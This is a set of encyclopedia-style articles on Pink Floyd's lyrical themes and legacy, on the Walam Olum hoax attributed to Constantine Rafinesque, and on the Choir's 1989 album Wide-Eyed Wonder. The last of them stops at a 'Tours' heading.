Absence as a lyrical theme is common in the music of Pink Floyd. Examples include the absence of Barrett after 1968, and that of Waters's father, who died during the Second World War. Waters's lyrics also explored unrealised political goals and unsuccessful endeavours. Their film score, Obscured by Clouds, dealt with the loss of youthful exuberance that sometimes comes with ageing. Longtime Pink Floyd album cover designer, Storm Thorgerson, described the lyrics of Wish You Were Here: "The idea of presence withheld, of the ways that people pretend to be present while their minds are really elsewhere, and the devices and motivations employed psychologically by people to suppress the full force of their presence, eventually boiled down to a single theme, absence: The absence of a person, the absence of a feeling." Waters commented: "it's about none of us really being there ... [it] should have been called Wish We Were Here".
O'Neill Surber explored the lyrics of Pink Floyd and declared the issue of non-being a common theme in their music. Waters invoked non-being or non-existence in The Wall, with the lyrics to "Comfortably Numb": "I caught a fleeting glimpse, out of the corner of my eye. I turned to look, but it was gone, I cannot put my finger on it now, the child is grown, the dream is gone." Barrett referred to non-being in his final contribution to the band's catalogue, "Jugband Blues": "I'm most obliged to you for making it clear that I'm not here."
Exploitation and oppression
Author Patrick Croskery described Animals as a unique blend of the "powerful sounds and suggestive themes" of Dark Side with The Wall portrayal of artistic alienation. He drew a parallel between the album's political themes and that of Orwell's Animal Farm. Animals begins with a thought experiment, which asks: "If you didn't care what happened to me. And I didn't care for you", then develops a beast fable based on anthropomorphised characters using music to reflect the individual states of mind of each. The lyrics ultimately paint a picture of dystopia, the inevitable result of a world devoid of empathy and compassion, answering the question posed in the opening lines.
The album's characters include the "Dogs", representing fervent capitalists, the "Pigs", symbolising political corruption, and the "Sheep", who represent the exploited. Croskery described the "Sheep" as being in a "state of delusion created by a misleading cultural identity", a false consciousness. The "Dog", in his tireless pursuit of self-interest and success, ends up depressed and alone with no one to trust, utterly lacking emotional satisfaction after a life of exploitation. Waters used Mary Whitehouse as an example of a "Pig"; being someone who in his estimation, used the power of the government to impose her values on society. At the album's conclusion, Waters returns to empathy with the lyrical statement: "You know that I care what happens to you. And I know that you care for me too." However, he also acknowledges that the "Pigs" are a continuing threat and reveals that he is a "Dog" who requires shelter, suggesting the need for a balance between state, commerce and community, versus an ongoing battle between them.
Alienation, war, and insanity
O'Neill Surber compared the lyrics of Dark Side of the Moon "Brain Damage" with Karl Marx theory of self-alienation; "there's someone in my head, but it's not me." The lyrics to Wish You Were Here "Welcome to the Machine" suggest what Marx called the alienation of the thing; the song's protagonist preoccupied with material possessions to the point that he becomes estranged from himself and others. Allusions to the alienation of man's species being can be found in Animals; the "Dog" reduced to living instinctively as a non-human. The "Dogs" become alienated from themselves to the extent that they justify their lack of integrity as a "necessary and defensible" position in "a cutthroat world with no room for empathy or moral principle" wrote Detmer. Alienation from others is a consistent theme in the lyrics of Pink Floyd, and it is a core element of The Wall.
War, viewed as the most severe consequence of the manifestation of alienation from others, is also a core element of The Wall, and a recurring theme in the band's music. Waters's father died in combat during the Second World War, and his lyrics often alluded to the cost of war, including those from "Corporal Clegg" (1968), "Free Four" (1972), "Us and Them" (1973), "When the Tigers Broke Free" and "The Fletcher Memorial Home" from The Final Cut (1983), an album dedicated to his late father and subtitled A Requiem for the Postwar Dream. The themes and composition of The Wall express Waters's upbringing in an English society depleted of men after the Second World War, a condition that negatively affected his personal relationships with women.
Waters's lyrics to The Dark Side of the Moon dealt with the pressures of modern life and how those pressures can sometimes cause insanity. He viewed the album's explication of mental illness as illuminating a universal condition. However, Waters also wanted the album to communicate positivity, calling it "an exhortation ... to embrace the positive and reject the negative." Reisch described The Wall as "less about the experience of madness than the habits, institutions, and social structures that create or cause madness." The Wall protagonist, Pink, is unable to deal with the circumstances of his life, and overcome by feelings of guilt, slowly closes himself off from the outside world inside a barrier of his own making. After he completes his estrangement from the world, Pink realises that he is "crazy, over the rainbow". He then considers the possibility that his condition may be his own fault: "have I been guilty all this time?" Realising his greatest fear, Pink believes that he has let everyone down, his overbearing mother wisely choosing to smother him, the teachers rightly criticising his poetic aspirations, and his wife justified in leaving him. He then stands trial for "showing feelings of an almost human nature", further exacerbating his alienation of species being. As with the writings of philosopher Michel Foucault, Waters's lyrics suggest Pink's insanity is a product of modern life, the elements of which, "custom, codependancies, and psychopathologies", contribute to his angst, according to Reisch.
Legacy
Pink Floyd are one of the most commercially successful and influential rock bands of all time. They have sold more than 250 million records worldwide, including 75 million certified units in the United States, and 37.9 million albums sold in the US since 1993. The Sunday Times Rich List, Music Millionaires 2013 (UK), ranked Waters at number 12 with an estimated fortune of £150 million, Gilmour at number 27 with £85 million and Mason at number 37 with £50 million.
In 2003, Rolling Stone 500 Greatest Albums of All Time list included The Dark Side of the Moon at number 43, The Wall at number 87, Wish You Were Here at number 209, and The Piper at the Gates of Dawn at number 347. In 2004, on their 500 Greatest Songs of All Time list, Rolling Stone included "Comfortably Numb" at number 314, "Wish You Were Here" at number 316, and "Another Brick in the Wall, Part 2" at number 375.
In 2004, MSNBC ranked Pink Floyd number 8 on their list of "The 10 Best Rock Bands Ever". In the same year, Q named Pink Floyd as the biggest band of all time according to "a points system that measured sales of their biggest album, the scale of their biggest headlining show and the total number of weeks spent on the UK album chart". Rolling Stone ranked them number 51 on their list of "The 100 Greatest Artists of All Time". VH1 ranked them number 18 in the list of the "100 Greatest Artists of All Time". Colin Larkin ranked Pink Floyd number 3 in his list of the 'Top 50 Artists of All Time', a ranking based on the cumulative votes for each artist's albums included in his All Time Top 1000 Albums. In 2008, the head rock and pop critic of The Guardian, Alexis Petridis, wrote that the band occupy a unique place in progressive rock, stating, "Thirty years on, prog is still persona non grata [...] Only Pink Floyd—never really a prog band, their penchant for long songs and 'concepts' notwithstanding—are permitted into the 100 best album lists." The writer Eric Olsen has called Pink Floyd "the most eccentric and experimental multi-platinum band of the album rock era".
Pink Floyd have won several awards. In 1981 audio engineer James Guthrie won the Grammy Award for "Best Engineered Non-Classical Album" for The Wall, and Roger Waters won the British Academy of Film and Television Arts award for "Best Original Song Written for a Film" in 1983 for "Another Brick in the Wall" from The Wall film. In 1995, Pink Floyd won the Grammy for "Best Rock Instrumental Performance" for "Marooned". In 2008, Pink Floyd were awarded the Swedish Polar Music Prize for their contribution to modern music. They were inducted into the Rock and Roll Hall of Fame in 1996, the UK Music Hall of Fame in 2005, and the Hit Parade Hall of Fame in 2010.
Pink Floyd have influenced numerous artists. David Bowie called Barrett a significant inspiration, and the Edge of U2 bought his first delay pedal after hearing the opening guitar chords to "Dogs" from Animals. Other bands and artists who cite them as an influence include Queen, Radiohead, Steven Wilson, Marillion, Queensrÿche, Nine Inch Nails, the Orb and the Smashing Pumpkins. Pink Floyd were an influence on the neo-progressive rock subgenre which emerged in the 1980s. The English rock band Mostly Autumn "fuse the music of Genesis and Pink Floyd" in their sound.
Pink Floyd were admirers of the Monty Python comedy group, and helped finance their 1975 film Monty Python and the Holy Grail. In 2016, Pink Floyd became the second band (after the Beatles) to feature on a series of UK postage stamps issued by the Royal Mail. In May 2017, to mark the 50th anniversary of Pink Floyd's first single, an audio-visual exhibition, Their Mortal Remains, opened at the Victoria and Albert Museum in London. The exhibition featured analysis of cover art, conceptual props from the stage shows, and photographs from Mason's personal archive. Due to its success, it was extended for two weeks beyond its planned closing date of 1 October.
Discography
Studio albums
The Piper at the Gates of Dawn (1967)
A Saucerful of Secrets (1968)
More (1969)
Ummagumma (1969)
Atom Heart Mother (1970)
Meddle (1971)
Obscured by Clouds (1972)
The Dark Side of the Moon (1973)
Wish You Were Here (1975)
Animals (1977)
The Wall (1979)
The Final Cut (1983)
A Momentary Lapse of Reason (1987)
The Division Bell (1994)
The Endless River (2014)
Concert tours
Pink Floyd World Tour (1968)
The Man and The Journey Tour (1969)
Atom Heart Mother World Tour (1970–71)
Meddle Tour (1971)
Dark Side of the Moon Tour (1972–73)
French Summer Tour (1974)
British Winter Tour (1974)
Wish You Were Here Tour (1975)
In the Flesh Tour (1977)
The Wall Tour (1980–81)
A Momentary Lapse of Reason Tour (1987–89)
The Division Bell Tour (1994)
Notes
References
Sources
Further reading
Books
Documentaries
External links
1994 disestablishments in England
1965 establishments in England
Musical groups established in 1965
Musical groups disestablished in 1994
British rhythm and blues boom musicians
Psychedelic pop music groups
English psychedelic rock music groups
English progressive rock groups
English art rock groups
English space rock musical groups
English experimental rock groups
Capitol Records artists
Columbia Graphophone Company artists
Harvest Records artists
Parlophone artists
Proto-prog groups
Musical groups from London
Echo (music award) winners
Grammy Award winners
Nick Mason
Roger Waters
Richard Wright (musician)
Syd Barrett
David Gilmour
Juno Award for International Album of the Year winners
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https://en.wikipedia.org/wiki/Walam%20Olum
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Walam Olum
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The Walam Olum, Walum Olum or Wallam Olum, usually translated as "Red Record" or "Red Score", is purportedly a historical narrative of the Lenape (Delaware) Native American tribe. The document has provoked controversy as to its authenticity since its publication in the 1830s by botanist and antiquarian Constantine Samuel Rafinesque. Ethnographic studies in the 1980s and analysis in the 1990s of Rafinesque's manuscripts have produced significant evidence that the document may be a hoax.
The work
In 1836 in his first volume of The American Nations, Rafinesque published what he represented as an English translation of the entire text of the Walam Olum, as well as a portion in the Lenape language.
The Walam Olum includes a creation myth, a deluge myth, and the narrative of a series of migrations. Rafinesque and others claimed or interpreted the migrations to have begun in Asia. The Walam Olum suggested a migration over the Bering Strait took place 3,600 years ago.
The text included a long list of chiefs' names, which appears to provide a timescale for the epic. According to Rafinesque, the chiefs appeared as early as 1600 BCE.
The story in summary
The narrative begins with the formation of the universe, the shaping of the Earth, and the creation of the first people, by the Great Manitou. Then, as the Great Manitou creates more creatures, an evil manitou creates others, such as flies. Although all is harmonious at first, an evil being brings unhappiness, sickness, disasters and death. A great snake attacked the people and drove them from their homes. The snake flooded the land and made monsters in the water, but the Creator made a giant turtle, on which the surviving people rode out the flood, and prayed for the waters to recede. When land emerged again, they were in a place of snow and cold, so they developed their skills of house-building and hunting, and began explorations to find more temperate lands. Eventually, they chose to head east from the land of the Turtle to the land of the Snake, walking across the frozen ocean and first reaching a land of spruce trees.
After a few generations (from this point on, chiefs of the tribe are named), they began to spread into the adjoining territories. Many generations passed (the characteristics of each chief briefly described), until a large part of the nation decided to invade the territory of the Talegawi people, aided by the northern Talamatan. Although the invasion eventually succeeded, the Talamatan later became hostile, but were soon subdued, and a further long period of consolidation began. Slow expansion into the rich eastern lands eventually reached another sea, where, after generations, the first white men arrived in ships.
There the text ends, though Rafinesque did publish an additional "Fragment: On the History of the Linapis since abt. 1600, when the Wallamolum closes" which takes the story up to his own time. This (which incidentally names the composer of the original Walam Olum as one Lekhibit) exists only as a purported translation by John Burns, who has himself never been satisfactorily identified.
Provenance
Rafinesque claimed the original narrative was recorded in pictographs on birch bark, or cedar wood tablets or sticks (Rafinesque explained that "Olum ... implies a record, a notched stick, an engraved piece of wood or bark.") He said "the late Dr. Ward of Indiana" acquired the materials in 1820 from a Lenape patient in return for a medical cure, and eventually passed them on to Rafinesque. From Rafinesque's personal notes and a family legend, this Dr. Ward was tentatively identified in 1954 as Dr John Russell Ward, a Kentucky physician who died in 1834, but a potential Indiana candidate has been identified: Malthus A. Ward (1794–1863, so not "late" in the sense of "deceased") who spent some of his early career in Indiana, moved to New England in 1823 and from 1831 was professor of natural history at the University of Georgia. He said the explanatory transcription of verses in the Lenape language came from a different source, in 1822. After his translation was published, Rafinesque said he lost the actual plaques.
When Rafinesque wrote an essay on the Lenape language in October 1834, he did not mention the Walam Olum at all. It was two months later that he submitted a supplement about it. This was shortly after he acquired a list of authentic Lenape names compiled by John Heckewelder. Rafinesque's translation of the 183 verses totals fewer than 3,000 words. In his manuscript he juxtaposed the pictographs with the verses in Lenape language that explained them. This material is now held at the University of Pennsylvania and has been digitized. Any items in Rafinesque's large collection of specimens, which did not find a ready sale after his death were apparently destroyed. There is no evidence other than Rafinesque's testimony that the original sticks existed. Scholars have only his work to study.
Twentieth-century archaeology has confirmed that by Rafinesque's time, Native Americans had been using birch bark scrolls for over 200 years. In 1965 the archaeologist Kenneth Kidd reported on two finds of "trimmed and fashioned pieces of birch bark on which have been scratched figures of animals, birds, men, mythological creatures, and esoteric symbols" in the Head-of-the-Lakes region of Ontario. Some of these resembled scrolls used by the Mide Society of the Ojibwa. A scroll from one of these finds was later dated to about 1560 +/-70 CE.
The Walam Olum in the 19th century
While there was controversy about the Walam Olum, it was treated as an accurate account by historians, anthropologists, and archaeologists for many years. Ephraim G. Squier, widely regarded as an influential figure of American 19th-century archaeology, republished the text in 1849. He accepted it as genuine, partially on internal evidence but also because the educated Indian chief (Kah-ge-ga-gah-bowh) (George Copway), to whom he showed the manuscript, "unhesitatingly pronounced it authentic, in respect not only to the original signs and accompanying explanations in the Delaware dialect, but also in the general ideas and conceptions which it embodies. He also bore testimony to the fidelity of the translation." More recently, Barnhart noted that Copway was "fluent in his native dialect and knowledgeable of the traditions of the Ojibwa and other Algonquian groups such as the Lenape, but he was certainly not an expert on the traditions and language of the Delaware." On February 16, 1849, after the documented was republished, Henry Rowe Schoolcraft wrote to Squier that he believed the document is "well sustained by comparisons with such transcripts as I have obtained from bark scrolls, and the tabular pieces of wood called music boards".
In 1885, after the third printing, the well-known ethnographer Daniel G. Brinton published a new translation of the text. Brinton explained, "In several cases the figures or symbols appear to me to bear out the corrected translations which I have given of the lines, and not that of Rafinesque. This, it will be observed, is an evidence, not merely that he must have received this text from other hands, but the figures also, and weighs heavily in favor of the authentic character of both."
The 1885 edition may have been read by ethnographer and explorer James Mooney. Published in 1888, his Myths of the Cherokee references the Walum Olum. In his "Historical sketch of the Cherokee" at the beginning of the work he attempts to adduce the origins of the term 'Cherokee:' "... among other synonyms for the tribe are Rickahockan or Rechahecrian, the ancient Powhatan name, and Tallige', or Tallige'wi, the ancient name used in the Walam Olum chronicle of the Lenape'."
The Walam Olum in the 20th century
In the 1930s, Erminie Voegelin attempted to find evidence of Walam Olum narrative elements in independent Lenni-Lenape and Delaware sources; the parallels were at best inconclusive. Doubts about the text's authenticity began to grow. In 1952 renowned archaeologist James Bennett Griffin publicly announced that he "had no confidence in the 'Walam Olum'." Historian William A. Hunter also believed the text a hoax. In 1954 archaeologist John G. Witthoft found linguistic inaccuracies and suspicious correspondences of words in the texts to 19th-century Lenape-English word lists. He concluded that Rafinesque composed the narrative from Lenape texts already in print. The following year, he announced in the Journal of American Linguistics the start of a Walam Olum project for further study, but this project did not take place.
In 1954, a multidisciplinary team of scholars from the Indiana Historical Society published another translation and commentary. They stated, "The 'Red Score' is a worthy subject for students of aboriginal culture." A reviewer noted that the team was not able to identify Dr. Ward, and he concluded that the document's origins "are undeniably clouded". Anthropologist Della Collins Cook commented on the 1954 study, "The scholarly essays are best read as exercises in stating one's contradictory conclusions in a manner designed to give as little offense as possible to one's sponsor." Other translations and commentaries have followed, including translations into languages other than English.
Selwyn Dewdney, art educator and researcher into Ojibwa art and anthropology, wrote the only comprehensive study of the Ojibwa birch bark scrolls (wiigwaasabakoon). In it he wrote: "A surviving pictographic record on wood, preserved by the Algonquian-speaking Delaware long after they had been shifted from their original homeland on Atlantic shores at the mouth of the Delaware River, offers evidence of how ancient and widespread is the myth of a flood (see Deluge (mythology)) involving a powerful water manitou. The record is known as the Walum Olum (Painted Sticks), and was interpreted for George Copway by a Delaware Elder ... Apart from the reference to man's moral wickedness, the mood and imagery of the Walum Olum convey an archaic atmosphere that surely predates European Influence." A review of his study by the anthropologist Edward S Rogers states "Dewdney is apt to rely upon ethnographic generalizations that were in vogue a quarter of a century ago, but in the intervening years have been modified or disproven ... Dewdney handles ethnohistorical matters no better than he does ethnographic topics ... Dewdney has deceived the unwary that do not realize that the exact distributions and certain proposed migrations of Ojibwa still remain unresolved. A final word, but one that is of paramount importance, must be voiced. How will the Ojibwa react to this book? Most likely, negatively, from the few comments received to date. The fact that "Sacred" information is being divulged will be resented."
By the 1980s, however, ethnologists had collected enough independent information "to discount the Walam olum completely as a tradition". Herbert C. Kraft, an expert on the Lenape, had long suspected the document to be a fraud. He stated that it did not square with the archaeological record of migrations by the prehistoric ancestors of the Lenape. In addition, he cited a 1985 survey conducted among Lenape elders by ethnologists David M. Oestreicher and James Rementer that revealed traditional Lenape had never heard of the narrative. The older Lenape people said that they "found its text puzzling and often incomprehensible." Oestreicher examined the Lenape language text with fluent native speaker, Lucy Parks Blalock, and they found problems such as frequent use of English idioms.
In 1991 Steven Williams summarized the history of the case and the evidence against the document, lumping it with many other famous archaeological frauds. The existence of genuine historic pictogram documents elsewhere does not overcome the textual and ethnological problems of the Walam Olum.
Kentucky-based writer Joe Napora wrote a modern translation of the text, which was published in 1992. At the time he thought the Walam Olum was genuine. In his preface, he wrote, "My belief is that the Walam Olum is closely related to the Mide Scrolls that Dewdney wrote so eloquently about in 'Sacred Scrolls of the Ojibway.
The Walam Olum since 1994
In 1994, and afterwards, textual evidence that the Walam Olum was a hoax was supplied by David M. Oestreicher in "Unmasking the Walam Olum: A 19th Century Hoax". Oestreicher examined Rafinesque's original manuscript and "found it replete with crossed-out Lenape words that had been replaced with others that better matched his English 'translation.' In other words, Rafinesque had been translating from English to Lenape, rather than the other way round". In general, he found a variety of evidence that the Walam Olum was not an authentic historical record but was composed by someone having only a slight familiarity with the Lenape language. Oestreicher argued that Rafinesque crafted the linguistic text from specific sources on the Delaware Language published by the American Philosophical Society and elsewhere. Further, he said that the supposedly "Lenape" pictographs were hybrids from published Egyptian, Chinese, and Mayan sources.
Barnhart concurs, stating that "the pictographs are in no way comparable to the figures found on the stone carvings or petroglyphs found in Lenapehoking, the traditional homeland of the Lenape. David Oestreicher asserted that the stories were a conglomerate assembled from numerous sources from different cultures that spanned the globe. Barnhart was of the opinion that Rafinesque created the Walam Olum in hopes of winning the international Prix Volney contest hosted in Paris, and Barnhart thought that Rafinesque wanted to prove his long-held theories regarding the peopling of America. Oestreicher's findings were summarized by Herbert Kraft in his study, "The Lenape-Delaware Indian Heritage: 10,000 BCE to 2000 CE", and by Jennifer M. Lehmann in "Social Theory as Politics in Knowledge".
Later David Oestreicher wrote that he had received a direct communication from Joe Napora. Oestreicher wrote that Napora wrote, "[H]e now recognises that the 'Walam Olum' is indeed a hoax ... and was dismayed that the sources upon whom he relied had been so negligent in their investigation of the document and that the hoax should have been continued as long as it has".
Oestreicher's very detailed analyses have not found a wide audience, but they have made it possible to go a step further, and study the thinking and cultural assumptions of earlier researchers (for example by examining how they treated features of the Walam Olum which should have been clear evidence that it was a fake).
A recent biography of Rafinesque concluded: "There is now very good reason to believe that he fabricated important data and documents ... The most egregious example is the Lenni Lenape migration saga, 'Walam Olum', which has perplexed scholars for one and a half centuries. Rafinesque wrote the 'Walam Olum' believing it to be authentic because it accorded with his own belief—he was merely recording and giving substance to what must be true. It was a damaging, culpably dishonest act, which misled scholars in search of the real truth, far more damaging than his childish creations, which could be easily dismissed; this was more than mischief."
Many traditional Lenape believe they have lived in their homeland (that is, in the New Jersey, Pennsylvania, and New York area) forever. The Delaware Tribe of Indians, located in eastern Oklahoma, originally endorsed the document but withdrew their endorsement on February 11, 1997 after reviewing the evidence. The Lenape Nation of Pennsylvania emphasize their belief that they have been in the area for 10,000 years. Whilst concluding that the burden of proof lies on those who believe the Walam Olum to be authentic, Barnhart states that "whatever one's position on the 'Walam Olum', its controversial place in the history of American anthropology is most definitively secured."
Reference in literature
Paula Gunn Allen's poetry collection, Shadow Country, from 1982 contains a reference to the Walam Olum. In Part II of the poem, ANOTHER LONG WALK, it says:
"the Red Score" is the reference, and is also related to the mention of Lenape in line 2.
See also
Birch bark document
Epigraphy
Ideogram
Mi'kmaq hieroglyphic writing
Midewiwin
Paleography
Papyrology
Writing System
Notes
References
Barnhart, Terry A. "Ephraim George Squier and the Development of American Anthropology." Lincoln, NE: University of Nebraska Press, 2005. .
Kidd, Kenneth E. "Birch-bark Scrolls in Archaeological Contexts." American Antiquity. 1965. Vol 30. No 4.
Oestreicher, David M. "Tale of a Hoax." Brian Swann, ed. The Algonquian Spirit, Lincoln, NE: University of Nebraska Press, 2005. .
Vansina, Jan. Oral Tradition as History. Oxford, James Currey (1985) .
Voegelin, Erminie W. "Cultural parallels to the Delaware Walam Olum." Proceedings of the Indiana Academy of Science. Vol. 49, 1939.
Further reading
1985."A Note on Rafinesque, the Walam Olum, the Book of Mormon, and the Mayan Glyphs", Numen, Vol. 32, Fasc. 1 pp. 101–113.
. 2003. Profiles of Rafinesque. University of Tennessee Press. Knoxville, TN.
1965. "Birch-bark Scrolls in Archaeological Contexts", American Antiquity. Vol 30. No 4. p. 480.
1990. "The Lenape: Archaeology, History, and Ethnology", American Indian Quarterly, Vol. 14, pp. 421–22.
2002. The Lenape/Delaware Heritage: 10,000 B.C.–2000 A.D., Lenape Books.
. 1995. "The Red Record: The 'Walam Olum', Translated and Annotated by David McCutchen." Book Review, North American Archaeologist 16(3):281–85.
2000. The Prix Volney: Volume II: Early Nineteenth-Century Contributions to American Indian and General Linguistics: Du Ponceau and Rafinesque, Springer, , searchable at
1957. Walam Olum, 1, 17: "A Proof of Rafinesque's Integrity", American Anthropologist. New Series Vol. 59. No 4. Aug 1957. pp. 705–708. Blackwell Publishing, on behalf of the American Anthropological Association
(illus. Lingen, Ruth). 1983. The Walam Olum / translation. Madison, Wis., Landlocked Press. (Limited edition, 100 copies)
1994. "Unmasking the Walam Olum: A 19th Century Hoax", Bulletin of the Archaeological Society of New Jersey 49:1–44.
1995a. The Anatomy of the Walam Olum: A 19th Century Anthropological Hoax. Ph.D. dissertation, Rutgers University. New Brunswick, New Jersey. Reprint Edition, University Microfilms International, Ann Arbor, Michigan.
1995b. "Text Out of Context: The Arguments that Created and Sustained the Walam Olum", Bulletin of the Archaeological Society of New Jersey 50:31–52.
1997. Reply to Harry Monesson Regarding the Walam Olum, Bulletin of the Archaeological Society of New Jersey 52:98–99.
2000. In Search of the Lenape: The Delaware Indians Past and Present. Catalogue of exhibition, Scarsdale Historical Society. Scarsdale Historical Society, Scarsdale New York. [First published by Scarsdale Historical Society, 1995].
2002a. "The European Roots of the Walam Olum: Constantine Samuel Rafinesque and the Intellectual Heritage of the early 19th Century", in New Perspectives on the Origins of American Archaeology, Ed. Stephen Williams and David Browman. The University of Alabama Press.
2002b. The Algonquian of New York. The Rosen Publishing Group's Power Kid's Press. New York, NY.
1836. The American Nations; or, Outlines of a National History; of the Ancient and Modern Nations of North and South America. Philadelphia.
External links
Delaware Tribe of Indians, Bartlesville, Oklahoma
1836 books
Fakelore
Lenape
Literary forgeries
Pseudohistory
Hoaxes in the United States
19th-century hoaxes
Infographics
Pictograms
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https://en.wikipedia.org/wiki/Wide-Eyed%20Wonder
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Wide-Eyed Wonder
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Wide-Eyed Wonder is the fifth studio release, and fourth full-length studio album, from Christian alternative rock band the Choir, released in 1989. This would be the first studio album with new bass guitarist Robin Spurs, and would mark the band's first attempt to cross over to the mainstream market.
Background
After Spurs officially joined the Choir the night that Chase the Kangaroo was released, the band's new lineup spent the majority of 1988 on the road, including appearances at the Cornerstone Festival in Chicago, the Greenbelt Festival in England, and the Flevo Festival in the Netherlands. In September of that year, drummer and lyricist Steve Hindalong's first daughter, Emily, was born, and this event would have a measurable impact on the lyrical content of the Choir's follow-up album, which began production only two months later.
Recording and production
With the release of Chase the Kangaroo, the Choir felt their first completely self-produced effort finally yielded an album that reflected their musical identity. As a result, Hindalong and lead singer and guitarist Derri Daugherty returned to Neverland to once again produce the band's next release. While the Choir's Chase the Kangaroo was primarily borne out of experimentation and group jam sessions over an extended period of time, Wide-Eyed Wonder was created initially between Hindalong and Daugherty sitting down together with an acoustic guitar and the lyrics, and the album only took a little more than two months to complete. The balance of the tracks came together in different ways: "Car, Etc." was built upon Daugherty's original guitar experimentation, "Robin Had a Dream" was an original musical contribution from Spurs, and "Behind That Locked Door" was a George Harrison cover recommended by Mark Heard, who produced and played autoharp on that track. The Choir also had a writing session with former bass guitarist Tim Chandler, which birthed the songs "Spin You Round" and the album's lead single "Someone to Hold on To."
Composition
Music
Wide-Eyed Wonder has been called the Choir's "happy record," with the band performing the songs with an "almost commercial pop accessibility." However, Daugherty explained that the musical approach was appropriate: "We were concerned about doing justice to the lyrics. We felt like doing a more upbeat, uptempo, major-key thing because Steve had a baby and that's a major thing in his life. To come out with this real negative music at this point would be pretty dishonest."
To that end, Hindalong's folk influences from Neil Young, Crosby, Stills & Nash and the Byrds came through strongly on this album, and he said the music, which featured a heavier use of acoustic guitars, was more "American-sounding and jangly, which suited the lyrics more." However, the "two-chord drone thing" that the band explored heavily on their prior record was still present: "Car, Etc." and "Spin You Round" were two prominent examples. Dan Michaels' saxophone contributions, which Hindalong described as "fits of emotion," were more prominent on this album than any Choir release up to that point, with Michaels saying he was like a "kid in a candy store" because he played on it so much.
After the better part of a year touring with the band in support of Chase the Kangaroo, this was the first album to feature Spurs' input as bass guitarist and vocalist. Originally drawn to the Choir by the opportunity to play "gutsy, male, rock bass lines," her most prominent contribution was "Robin Had a Dream." "Robin was a great bass player; she had this real authority," Hindalong said. "She played what I called 'articulation'; she was very precise." However, the unusual chord structure of this song initially was a challenge: "Derri didn’t know what the heck to do with the guitar," Hindalong said. "It took him a while."
Several other musical influences played a role in the development of Wide-Eyed Wonder. Daugherty was listening heavily to the Smithereens at the time, and their style of chord progressions was echoed in "To Cover You." Hindalong heard Fleetwood Mac's "Hypnotized" on the radio while driving to the studio, so "Spin You Round" was built upon a similar drum pattern. Greg Lawless from Adam Again was then brought in to record the lead guitar part on that track, with Gene Eugene and Riki Michele adding backup vocals. "Car, Etc." includes a sonic "easter egg" from Public Image, Ltd. in one of Michaels' sax melodies, and the vocal phrasing that Hindalong originally had in mind for that song was inspired by James Taylor’s "Traffic Jam." While the bass line ultimately took the song in a completely different direction, that vocal phrasing can be heard in "Car, Cont.," which closes the album. Finally, at the urging of Heard, the Choir recorded their first cover song: Harrison's "Behind That Locked Door," which also featured the first use of harmonica on a Choir record.
Lyrics
Many of the songs on Wide-Eyed Wonder addressed Hindalong's joy over new fatherhood ("To Cover You," "When She Sees Me" and the title track) or the importance of family relationships ("Happy Fool," "To Bid Farewell"). Like Chase the Kangaroo, the songs referenced specific personal details from Hindalong's lived experience, particularly his daily interactions with his baby daughter. "The album was so sentimental; I was embarrassed about it a few years after," Hindalong said. "But […] I realized what it means to other people [and] that's what makes that album unique." "When She Sees Me" recounted Hindalong timing his baby daughter's heartbeat whenever he appeared to her, and this was in line with his fascination with mathematics. "Look up high / dancing bear" from the title track referenced his daughter's "wide-eyed wonder" over everything new: "Emily had this little mobile that hung in the crib," Hindalong said. "[It] was all these little bears, and it went round and round and made this gentle sound; she would stare up and [she] really loved that thing." "To Cover You" spoke frankly about Hindalong's fatherly protective instincts; originally the lyric was "to shelter you," but Hindalong changed it to sound more paternal, "because you think of a child that you're covering with a blanket."
Even the album's leadoff single, the driving rock track "Someone to Hold on To," revealed more personal details, as the phrase "spider shed" was informed by Hindalong's arachnophobia. "I remember jumping out of bed when we lived in [our] little mobile home and getting rug burns on two elbows and two knees, running straight out into the parking lot, because I thought a spider crawled across my face." This fear of spiders would continue to manifest itself when the band was on tour during this period. "Robin Had a Dream" was written in response to an actual dream that Spurs had about Hindalong. "Robin was very Charismatic, a very spiritual person," Hindalong said. "She had this dream and the interpretation of it; I basically just took that dream and made it rhyme." The song's instrumental break would later play over audio of Spurs providing her explanation. Wide-Eyed Wonders closing song, "To Bid Farewell," remains one of the band's favorite tracks, and it was intended as a thank-you to listeners; because the Choir was never commercially successful, the band thought that this album could be their final recording.
Artwork and packaging
The original front cover artwork for Wide-Eyed Wonder featured the entire band, along with a light trail superimposed over each member except for Hindalong, who was also featured solo on the rear cover. When the remastered album was released in 2017, it had entirely new cover artwork, featuring the Big Dipper set against a night sky. The rear of the remastered album showcased the photo of the band originally used on the front cover of the May 1989 issue of CCM Magazine.
Release and promotion
Because of the album's upbeat subject matter, Wide-Eyed Wonder was called the Choir's "most marketable album," and Michaels agreed, saying that Myrrh Records had "a lot of energy over the record," which included hiring a management company and support staff. Daugherty concurred, adding, "that particular album was one of our busiest times. The record company was putting a lot of work into it and we were gone all the time — I mean, we were on the road a lot. To their credit […] Myrrh Records really worked hard for us. They tried everything [they] could possibly do." Wide-Eyed Wonder was heavily promoted in Christian media, and landed the band on the cover of CCM Magazine in May 1989, with the feature article written by Chris Willman, who originally introduced Spurs to the Choir.
Audio
Wide-Eyed Wonder was released in late March 1989 on CD and cassette in North America, and additionally on vinyl in the UK only. Myrrh released "Someone to Hold on To" as the first single to Christian rock radio; however, the challenge was, "there weren’t the outlets that there are now," according to Daugherty. "[Christian] rock radio was pretty much 25 stations around the country that on Friday nights from midnight to 4:00am, played [Christian rock]." However, because Myrrh had a mainstream distribution deal with A&M Records, they agreed to work the album and target the Choir to a broader market. In June 1989, A&M sent out a four-track EP that included "Someone to Hold on To," "To Cover You," "Robin Had a Dream" and an exclusive dub remix of "Car, Etc." to college rock stations, where the Choir enjoyed some moderate success.
In April 2017, the Choir re-released a fully remastered version of Wide-Eyed Wonder on streaming services, CD and vinyl. The CD re-release was a two-CD set with a second CD featuring audio commentary on each track from Hindalong and Michaels.
Video
To assist A&M with their crossover promotion, Myrrh financed a video album entitled Wide-Eyed Wonder Videos to introduce the Choir to new listeners, which included two music videos and a band documentary. The first video, "Someone to Hold on To," was a mix of black-and-white and color footage, directed by photographer Linda Myers-Krikorian, the then-wife of eccentric singer/songwriter Tonio K.; this was filmed at various locations in Los Angeles, including on the rooftop of a building at sunset. The second video, "Robin Had a Dream," was directed by Mark Heard and shot entirely on Super 8 film in Heard's first attempt at working in that medium. Myers-Krikorian also directed a 32-minute black and white documentary — both straightforward and humorous — on the lives of all four band members and their families.
Tours
The Way Home tour
